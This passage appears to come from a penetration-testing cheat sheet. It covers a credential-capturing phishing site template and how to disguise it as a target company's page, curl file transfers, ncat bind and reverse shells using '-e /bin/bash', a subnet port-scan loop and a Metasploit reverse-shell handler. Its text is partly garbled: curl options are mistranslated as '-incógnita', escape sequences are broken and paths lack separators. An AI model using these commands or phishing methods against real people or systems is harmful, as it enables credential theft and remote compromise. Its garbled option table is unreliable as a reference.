Captured credentials will be stored in social_engineeringphishing_websitelogscredentials.log.

Figure 2 - Phishing Website
Read the comments in social_engineeringphishing_websiteindex.php to get a better understanding on how all of it works.
You can modify and expand this template to your liking. You have everything that needs to get you started.
You can easily customize CSS to make it look more like the company you are testing, eg, change colors, logo, etc.
Check the standalone redirect templates in social_engineeringphishing_websiteredirects directory.
Use SingleFile (Chrome)(FireFox) browser extension to download a web page as a single HTML file, then, rename the file to index.php .
Here you can find a bunch of random stuff.
Download a file:
curl somesite.com/somefile.txt -o somefile.txt
Upload a file:
curl somesite.com/uploads/ -T somefile.txt
| Opción | Descripción |
|---|---|
| -d | Sends the specified data in a POST request to the HTTP server |
| -H | Extra header to include in the request when sending HTTP to a server |
| -i | Include the HTTP response headers in the output |
| -k | Proceed and operate server connections otherwise considered insecure |
| -O | Write to file instead of stdout |
| -T | Transfers the specified local file to the remote URL, same as PUT method |
| -v | Make the operation more talkative |
| -incógnita | Use the specified proxy ([protocol://]host[:port]) |
| -INCÓGNITA | Specifies a custom request method to use when communicating with the HTTP server |
Find out how to test a web server for various HTTP methods and method overrides at ivan-sincek/forbidden.
[Server] Set up a listener:
ncat -nvlp 9000
ncat -nvlp 9000 > received_data.txt
ncat -nvlp 9000 -e /bin/bash
ncat -nvlp 9000 -e /bin/bash --ssl
ncat -nvlp 9000 --ssl-cert crt.pem --ssl-key key.pem
ncat -nvlp 9000 --keep-open <<< "HTTP/1.1 200 OKrnrn"
[Client] Connect to a remote host:
ncat -nv 192.168.8.5 9000
ncat -nv 192.168.8.5 9000 < sent_data.txt
ncat -nv 192.168.8.5 9000 -e /bin/bash
ncat -nv 192.168.8.5 9000 -e /bin/bash --ssl
ncat -nv 192.168.8.5 9000 --ssl-cert crt.pem --ssl-key key.pem
Find out how to create an SSL/TLS certificate at ivan-sincek/secure-website.
Check if connection to a specified TCP port (eg, port 22 or 23) is possible:
for i in {0..255} ; do ncat -nv " 192.168.8. ${i} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; done
for ip in $( cat ips.txt ) ; do ncat -nv " ${ip} " 9000 -w 2 -z 2>&1 | grep -Po ' (?<=Connected to )[^s]+(?=.) ' ; doneSet up a listener (change the PAYLOAD, LHOST, and LPORT as necessary):
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit
Use ngrok to give your local web server a public address, but do not expose the web server for too long if it is not properly hardened due to security concerns.
I advise you not to transfer any sensitive data over it, just in case.
Credits to the authors!